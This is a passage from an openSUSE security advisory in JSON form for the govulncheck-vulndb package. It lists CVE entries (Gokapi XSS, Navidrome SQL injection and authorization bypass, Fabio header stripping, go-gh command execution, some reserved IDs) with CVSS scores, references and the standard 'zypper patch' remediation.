            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.8,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2025-4673"
    },
    {
      "cve": "CVE-2025-47950",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-47950"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-47950",
          "url": "https://www.suse.com/security/cve/CVE-2025-47950"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1244331 for CVE-2025-47950",
          "url": "https://bugzilla.suse.com/1244331"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          },
          "products": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2025-47950"
    },
    {
      "cve": "CVE-2025-48494",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-48494"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Gokapi is a self-hosted file sharing server with automatic expiration and encryption support. When using end-to-end encryption, a stored cross-site scripting vulnerability can be exploited by uploading a file with JavaScript code embedded in the filename. After upload and every time someone opens the upload list, the script is then parsed. Prior to version 2.0.0, there was no user permission system implemented, therefore all authenticated users were already able to see and modify all resources, even if end-to-end encrypted, as the encryption key had to be the same for all users using a version prior to 2.0.0. If a user is the only authenticated user using Gokapi, they are not affected. This issue has been fixed in v2.0.0. A possible workaround would be to disable end-to-end encryption.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-48494",
          "url": "https://www.suse.com/security/cve/CVE-2025-48494"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2025-48494"
    },
    {
      "cve": "CVE-2025-48495",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-48495"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Gokapi is a self-hosted file sharing server with automatic expiration and encryption support. By renaming the friendly name of an API key, an authenticated user could inject JS into the API key overview, which would also be executed when another user clicks on his API tab. Prior to version 2.0.0, there was no user permission system implemented, therefore all authenticated users were already able to see and modify all resources, even if end-to-end encrypted, as the encryption key had to be the same for all users of versions prior to 2.0.0. If a user is the only authenticated user using Gokapi, they are not affected. This issue has been fixed in v2.0.0. A workaround would be to not open the API page if it is possible that another user might have injected code.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-48495",
          "url": "https://www.suse.com/security/cve/CVE-2025-48495"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2025-48495"
    },
    {
      "cve": "CVE-2025-48710",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-48710"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-48710",
          "url": "https://www.suse.com/security/cve/CVE-2025-48710"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2025-48710"
    },
    {
      "cve": "CVE-2025-48865",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-48865"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers. Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities. Some of these custom headers can be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. This issue has been patched in version 1.6.6.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-48865",
          "url": "https://www.suse.com/security/cve/CVE-2025-48865"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 9.1,
            "baseSeverity": "CRITICAL",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "critical"
        }
      ],
      "title": "CVE-2025-48865"
    },
    {
      "cve": "CVE-2025-48938",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-48938"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "go-gh is a collection of Go modules to make authoring GitHub CLI extensions easier. A security vulnerability has been identified in versions prior to 2.12.1 where an attacker-controlled GitHub Enterprise Server could result in executing arbitrary commands on a user\u0027s machine by replacing HTTP URLs provided by GitHub with local file paths for browsing. In `2.12.1`, `Browser.Browse()` has been enhanced to allow and disallow a variety of scenarios to avoid opening or executing files on the filesystem without unduly impacting HTTP URLs. No known workarounds are available other than upgrading.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-48938",
          "url": "https://www.suse.com/security/cve/CVE-2025-48938"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1243930 for CVE-2025-48938",
          "url": "https://bugzilla.suse.com/1243930"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "low"
        }
      ],
      "title": "CVE-2025-48938"
    },
    {
      "cve": "CVE-2025-48948",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-48948"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Navidrome is an open source web-based music collection server and streamer. A permission verification flaw in versions prior to 0.56.0 allows any authenticated regular user to bypass authorization checks and perform administrator-only transcoding configuration operations, including creating, modifying, and deleting transcoding settings. In the threat model where administrators are trusted but regular users are not, this vulnerability represents a significant security risk when transcoding is enabled. Version 0.56.0 patches the issue.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-48948",
          "url": "https://www.suse.com/security/cve/CVE-2025-48948"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2025-48948"
    },
    {
      "cve": "CVE-2025-48949",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-48949"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Navidrome is an open source web-based music collection server and streamer. Versions 0.55.0 through 0.55.2 have a vulnerability due to improper input validation on the `role` parameter within the API endpoint `/api/artist`. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information. Version 0.56.0 contains a patch for the issue.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-48949",
          "url": "https://www.suse.com/security/cve/CVE-2025-48949"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2025-48949"
    },
    {
      "cve": "CVE-2025-49011",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-49011"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-49011",
          "url": "https://www.suse.com/security/cve/CVE-2025-49011"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "low"
        }
      ],
      "title": "CVE-2025-49011"
    },
    {
      "cve": "CVE-2025-49136",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-49136"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-49136",
          "url": "https://www.suse.com/security/cve/CVE-2025-49136"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2025-49136"
    },
    {
      "cve": "CVE-2025-49140",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-49140"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-49140",
          "url": "https://www.suse.com/security/cve/CVE-2025-49140"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2025-49140"
    }
  ]
}